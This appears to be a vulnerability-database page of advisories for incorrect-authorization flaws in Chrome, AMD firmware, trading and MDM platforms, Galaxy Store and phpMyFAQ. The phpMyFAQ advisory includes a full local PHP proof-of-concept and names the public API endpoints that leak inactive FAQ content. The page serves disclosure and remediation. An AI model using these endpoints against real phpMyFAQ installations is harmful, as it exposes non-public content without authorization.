Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-MCM5-J3P7-M443

Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-28 21:30
VLAI
Details

Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-79050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:18:00Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-mcm5-j3p7-m443",
  "modified": "2026-08-28T21:30:56Z",
  "published": "2026-08-25T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79050"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/517364411"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MCM9-3RFG-2MQM

Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-10-30 21:30
VLAI
Details

Insufficient access controls in ASP kernel may allow a privileged attacker with access to AMD signing keys and the BIOS menu or UEFI shell to map DRAM regions in protected areas, potentially leading to a loss of platform integrity.

Severity
3.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-26387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-13T17:15:17Z",
    "severity": "LOW"
  },
  "details": "Insufficient access controls in ASP kernel may allow a\nprivileged attacker with access to AMD signing keys and the BIOS menu or UEFI\nshell to map DRAM regions in protected areas,\u00a0potentially leading to a loss of platform integrity.",
  "id": "GHSA-mcm9-3rfg-2mqm",
  "modified": "2024-10-30T21:30:37Z",
  "published": "2024-08-13T18:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26387"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3003.html"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MCWC-JFPX-GQ94

Vulnerability from github – Published: 2024-09-03 12:30 – Updated: 2024-09-03 21:31
VLAI
Details

This vulnerability exists in Symphony XTS Web Trading platform version 2.0.0.1_P160 due to improper access controls on APIs in the Preference module of the application. An authenticated remote attacker could exploit this vulnerability by manipulating parameters through HTTP request which could lead to unauthorized access and modification of sensitive information belonging to other users.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
7.5 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-03T11:15:15Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability exists in Symphony XTS Web Trading platform version 2.0.0.1_P160 due to improper access controls on APIs in the Preference module of the application. An authenticated remote attacker could exploit this vulnerability by manipulating parameters through HTTP request which could lead to unauthorized access and modification of sensitive information belonging to other users.",
  "id": "GHSA-mcwc-jfpx-gq94",
  "modified": "2024-09-03T21:31:12Z",
  "published": "2024-09-03T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45588"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2024-0281"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MF3R-GV2F-R4WR

Vulnerability from github – Published: 2025-05-21 15:30 – Updated: 2025-05-21 15:30
VLAI
Details

In Proget MDM, a low-privileged user can retrieve passwords for managed devices and subsequently use functionalities restricted by the MDM (Mobile Device Management). For it to happen, they must know the UUIDs of targetted devices, which might be obtained by exploiting CVE-2025-1415 or CVE-2025-1417.

This issue has been fixed in 2.17.5 version of Konsola Proget (server part of the MDM suite).

Severity
7.0 (High)
CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-21T13:16:00Z",
    "severity": "HIGH"
  },
  "details": "In Proget MDM, a low-privileged user can retrieve passwords for managed devices and subsequently\u00a0use functionalities restricted by the MDM (Mobile Device Management). For it to happen, they must know the UUIDs of targetted devices, which might be obtained by exploiting\u00a0CVE-2025-1415 or\u00a0CVE-2025-1417.\n\nThis issue has been fixed in\u00a02.17.5 version of\u00a0Konsola Proget (server part of the MDM suite).",
  "id": "GHSA-mf3r-gv2f-r4wr",
  "modified": "2025-05-21T15:30:33Z",
  "published": "2025-05-21T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1416"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2025/05/CVE-2025-1415"
    },
    {
      "type": "WEB",
      "url": "https://proget.pl/en/mobile-device-management"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MF8R-2PP6-7VQP

Vulnerability from github – Published: 2022-01-11 00:00 – Updated: 2023-06-27 21:30
VLAI
Details

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T14:12:00Z",
    "severity": "HIGH"
  },
  "details": "Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist.",
  "id": "GHSA-mf8r-2pp6-7vqp",
  "modified": "2023-06-27T21:30:43Z",
  "published": "2022-01-11T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22288"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2022\u0026month=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MF8R-WM2W-F8C5

Vulnerability from github – Published: 2026-08-25 17:30 – Updated: 2026-08-25 17:30
VLAI
Summary
phpMyFAQ public FAQ APIs expose inactive FAQ content
Details

Affected Product

phpMyFAQ

Affected Versions

  • Confirmed affected: 4.1.4, API v3.1.
  • Confirmed affected: current main / 4.2-style source, API v4.0, for GET /api/v4.0/faqs/tags/{tagId} when api.onlyActiveFaqs=true.

Patched Versions

4.1.5.

Description

The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:

  • GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer.
  • GET /api/v3.1/faqs/tags/{tagId} returns the inactive FAQ title and answer preview.

On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.

Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.

Root Cause

FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:

fd.date_start <= now
AND fd.date_end >= now
AND fd.active = 'yes'

FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).

Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning record_title and record_preview.

In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.

Proof of Concept

The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.

Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:

php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4

Expected output:

phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414

GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no

GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes

GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes

VERDICT: reproduced inactive FAQ exposure through public API controller paths.

Suggested Fix

Apply one consistent public visibility check across all public FAQ API routes:

  • fd.active = 'yes'
  • fd.date_start <= now
  • fd.date_end >= now

Suggested implementation options:

  • Add Faq::getActiveFaqsByIds(array $faqIds) and use it in public tag API routes.
  • Or add an $onlyActive / $publicOnly argument to Faq::getFaqsByIds() and default public controllers to enabled filtering.
  • Update Faq::getFaqByIdAndCategoryId() or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.
  • Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.

Reporter Credit

Please credit:

Yaohui Wang

CVE Request

Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.

Full PoC Source

<?php

declare(strict_types=1);

/*
 * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.
 *
 * Usage from a phpMyFAQ 4.1.4 source checkout:
 *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
 *
 * If no path is provided, the current working directory is used.
 *
 * This is a local-only defensive harness. It uses phpMyFAQ's real Composer
 * autoloader, real public API controller, and a temporary copy of tests/test.db.
 */

use phpMyFAQ\Configuration;
use phpMyFAQ\Controller\Api\FaqController;
use phpMyFAQ\Database;
use phpMyFAQ\Database\DatabaseDriver;
use phpMyFAQ\Language;
use phpMyFAQ\Strings;
use phpMyFAQ\System;
use phpMyFAQ\Translation;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;

$repoRoot = $argv[1] ?? getcwd();
$repoRoot = realpath($repoRoot);
if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {
    fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n");
    exit(2);
}

if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {
    fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n");
    exit(2);
}

if (!is_file($repoRoot . '/tests/test.db')) {
    fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n");
    exit(2);
}

define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');
define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');
define('PMF_CONTENT_DIR', $repoRoot . '/tests/content');
define('PMF_TEST_DIR', $repoRoot . '/tests');
define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');
const IS_VALID_PHPMYFAQ = true;

$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_NAME'] = 'localhost';
$_SERVER['REQUEST_TIME'] = time();

require PMF_ROOT_DIR . '/src/constants.php';
require PMF_ROOT_DIR . '/content/core/config/constants.php';
require PMF_ROOT_DIR . '/translations/language_en.php';
require PMF_ROOT_DIR . '/src/autoload.php';

function pocQuery(DatabaseDriver $db, string $sql): void
{
    $result = $db->query($sql);
    if ($result === false) {
        throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql);
    }
}

$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');
if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {
    fwrite(STDERR, "Cannot create temporary SQLite database.\n");
    exit(2);
}

try {
    Strings::init();
    Translation::create()
        ->setTranslationsDir(PMF_ROOT_DIR . '/translations')
        ->setDefaultLanguage('en')
        ->setCurrentLanguage('en')
        ->setMultiByteLanguage();

    Database::setTablePrefix('');
    $db = Database::factory('pdo_sqlite');
    if (!$db instanceof DatabaseDriver) {
        throw new RuntimeException('Could not create PDO SQLite database driver.');
    }

    $db->connect($tempDb, '', '');

    $configuration = new Configuration($db);
    $configuration->getAll();
    $configuration->set('api.enableAccess', 'true');
    $configuration->set('main.currentVersion', System::getVersion());
    $configuration->set('main.language', 'en');
    $configuration->set('main.referenceURL', 'https://localhost/');
    $configuration->set('security.enableLoginOnly', 'false');
    $configuration->set('security.permLevel', 'basic');
    $configuration->set('records.numberOfRecordsPerPage', '25');
    $configuration->getAll();

    $session = new Session(new MockArraySessionStorage());
    $language = new Language($configuration, $session);
    $language->setLanguageFromConfiguration('en');
    $configuration->setLanguage($language);

    $faqId = 991414;
    $tagId = 991414;
    $categoryId = 991414;
    $question = 'Inactive tagged API probe 4.1.4';
    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';

    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));
    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));
    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));

    pocQuery($db, sprintf(
        "INSERT INTO faqdata
            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)
         VALUES
            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)",
        $faqId,
        $faqId,
        $db->escape($question),
        $db->escape($answer),
    ));
    pocQuery($db, sprintf(
        "INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)
         VALUES (%d, 'en', %d, 'en')",
        $categoryId,
        $faqId,
    ));
    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));
    pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId));
    pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId));
    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));

    $controller = new FaqController();

    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');
    $categoryRequest->attributes->set('categoryId', (string) $categoryId);
    $categoryResponse = $controller->getByCategoryId($categoryRequest);
    $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question);

    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');
    $directRequest->attributes->set('categoryId', (string) $categoryId);
    $directRequest->attributes->set('faqId', (string) $faqId);
    $directResponse = $controller->getById($directRequest);
    $directContainsProbe = str_contains((string) $directResponse->getContent(), $question)
        && str_contains((string) $directResponse->getContent(), $answer);

    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');
    $tagRequest->attributes->set('tagId', (string) $tagId);
    $tagResponse = $controller->getByTagId($tagRequest);
    $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
    $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question)
        && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview');

    echo "phpMyFAQ version: " . System::getVersion() . "\n";
    echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n";
    echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n";
    echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n";
    echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n";
    echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n";
    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n";

    if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) {
        echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n";
        exit(0);
    }

    echo "VERDICT: not reproduced.\n";
    exit(1);
} finally {
    if (isset($tempDb) && is_file($tempDb)) {
        @unlink($tempDb);
    }
}
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T17:30:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected Product\n\nphpMyFAQ\n\n## Affected Versions\n\n- Confirmed affected: 4.1.4, API v3.1.\n- Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.\n\n## Patched Versions\n\n4.1.5.\n\n## Description\n\nThe public FAQ API applies inconsistent `active = \u0027yes\u0027` filtering across endpoints. A FAQ entry marked `active = \u0027no\u0027` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:\n\n- `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.\n- `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.\n\nOn the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.\n\nInactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.\n\n## Root Cause\n\n`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:\n\n```sql\nfd.date_start \u003c= now\nAND fd.date_end \u003e= now\nAND fd.active = \u0027yes\u0027\n```\n\n`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.\n\n`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = \u0027yes\u0027` or publication date windows before returning `record_title` and `record_preview`.\n\nIn phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.\n\n## Proof of Concept\n\nThe attached PoC uses phpMyFAQ\u0027s real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.\n\nRun from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:\n\n```bash\nphp poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n```\n\nExpected output:\n\n```text\nphpMyFAQ version: 4.1.4\nInserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414\n\nGET /api/v3.1/faqs/991414 status: 200\nCategory response contains inactive title: no\n\nGET /api/v3.1/faq/991414/991414 status: 200\nDirect-by-id response contains inactive full title+answer: yes\n\nGET /api/v3.1/faqs/tags/991414 status: 200\nTag response contains inactive title+preview: yes\n\nVERDICT: reproduced inactive FAQ exposure through public API controller paths.\n```\n\n## Suggested Fix\n\nApply one consistent public visibility check across all public FAQ API routes:\n\n- `fd.active = \u0027yes\u0027`\n- `fd.date_start \u003c= now`\n- `fd.date_end \u003e= now`\n\nSuggested implementation options:\n\n- Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.\n- Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.\n- Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.\n- Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.\n\n## Reporter Credit\n\nPlease credit:\n\nYaohui Wang\n\n## CVE Request\n\nBecause this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project\u0027s advisory criteria.\n\n\n## Full PoC Source\n\n~~~php\n\u003c?php\n\ndeclare(strict_types=1);\n\n/*\n * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.\n *\n * Usage from a phpMyFAQ 4.1.4 source checkout:\n *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4\n *\n * If no path is provided, the current working directory is used.\n *\n * This is a local-only defensive harness. It uses phpMyFAQ\u0027s real Composer\n * autoloader, real public API controller, and a temporary copy of tests/test.db.\n */\n\nuse phpMyFAQ\\Configuration;\nuse phpMyFAQ\\Controller\\Api\\FaqController;\nuse phpMyFAQ\\Database;\nuse phpMyFAQ\\Database\\DatabaseDriver;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\System;\nuse phpMyFAQ\\Translation;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\Session\\Session;\nuse Symfony\\Component\\HttpFoundation\\Session\\Storage\\MockArraySessionStorage;\n\n$repoRoot = $argv[1] ?? getcwd();\n$repoRoot = realpath($repoRoot);\nif ($repoRoot === false || !is_dir($repoRoot . \u0027/phpmyfaq\u0027)) {\n    fwrite(STDERR, \"Usage: php \" . basename(__FILE__) . \" /path/to/phpMyFAQ-4.1.4\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . \u0027/phpmyfaq/src/autoload.php\u0027)) {\n    fwrite(STDERR, \"Missing phpmyfaq/src/autoload.php. Run composer install first.\\n\");\n    exit(2);\n}\n\nif (!is_file($repoRoot . \u0027/tests/test.db\u0027)) {\n    fwrite(STDERR, \"Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\\n\");\n    exit(2);\n}\n\ndefine(\u0027PMF_ROOT_DIR\u0027, $repoRoot . \u0027/phpmyfaq\u0027);\ndefine(\u0027PMF_CONFIG_DIR\u0027, $repoRoot . \u0027/tests/content/core/config\u0027);\ndefine(\u0027PMF_CONTENT_DIR\u0027, $repoRoot . \u0027/tests/content\u0027);\ndefine(\u0027PMF_TEST_DIR\u0027, $repoRoot . \u0027/tests\u0027);\ndefine(\u0027PMF_LOG_DIR\u0027, sys_get_temp_dir() . \u0027/phpmyfaq_414_inactive_faq_api_poc.log\u0027);\nconst IS_VALID_PHPMYFAQ = true;\n\n$_SERVER[\u0027HTTP_HOST\u0027] = \u0027localhost\u0027;\n$_SERVER[\u0027SERVER_NAME\u0027] = \u0027localhost\u0027;\n$_SERVER[\u0027REQUEST_TIME\u0027] = time();\n\nrequire PMF_ROOT_DIR . \u0027/src/constants.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/content/core/config/constants.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/translations/language_en.php\u0027;\nrequire PMF_ROOT_DIR . \u0027/src/autoload.php\u0027;\n\nfunction pocQuery(DatabaseDriver $db, string $sql): void\n{\n    $result = $db-\u003equery($sql);\n    if ($result === false) {\n        throw new RuntimeException(\u0027SQL failed: \u0027 . $db-\u003eerror() . \"\\nSQL: \" . $sql);\n    }\n}\n\n$tempDb = tempnam(sys_get_temp_dir(), \u0027pmf-414-api-poc-\u0027);\nif ($tempDb === false || !copy($repoRoot . \u0027/tests/test.db\u0027, $tempDb)) {\n    fwrite(STDERR, \"Cannot create temporary SQLite database.\\n\");\n    exit(2);\n}\n\ntry {\n    Strings::init();\n    Translation::create()\n        -\u003esetTranslationsDir(PMF_ROOT_DIR . \u0027/translations\u0027)\n        -\u003esetDefaultLanguage(\u0027en\u0027)\n        -\u003esetCurrentLanguage(\u0027en\u0027)\n        -\u003esetMultiByteLanguage();\n\n    Database::setTablePrefix(\u0027\u0027);\n    $db = Database::factory(\u0027pdo_sqlite\u0027);\n    if (!$db instanceof DatabaseDriver) {\n        throw new RuntimeException(\u0027Could not create PDO SQLite database driver.\u0027);\n    }\n\n    $db-\u003econnect($tempDb, \u0027\u0027, \u0027\u0027);\n\n    $configuration = new Configuration($db);\n    $configuration-\u003egetAll();\n    $configuration-\u003eset(\u0027api.enableAccess\u0027, \u0027true\u0027);\n    $configuration-\u003eset(\u0027main.currentVersion\u0027, System::getVersion());\n    $configuration-\u003eset(\u0027main.language\u0027, \u0027en\u0027);\n    $configuration-\u003eset(\u0027main.referenceURL\u0027, \u0027https://localhost/\u0027);\n    $configuration-\u003eset(\u0027security.enableLoginOnly\u0027, \u0027false\u0027);\n    $configuration-\u003eset(\u0027security.permLevel\u0027, \u0027basic\u0027);\n    $configuration-\u003eset(\u0027records.numberOfRecordsPerPage\u0027, \u002725\u0027);\n    $configuration-\u003egetAll();\n\n    $session = new Session(new MockArraySessionStorage());\n    $language = new Language($configuration, $session);\n    $language-\u003esetLanguageFromConfiguration(\u0027en\u0027);\n    $configuration-\u003esetLanguage($language);\n\n    $faqId = 991414;\n    $tagId = 991414;\n    $categoryId = 991414;\n    $question = \u0027Inactive tagged API probe 4.1.4\u0027;\n    $answer = \u0027This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.\u0027;\n\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d\u0027, $faqId, $tagId));\n    pocQuery($db, sprintf(\u0027DELETE 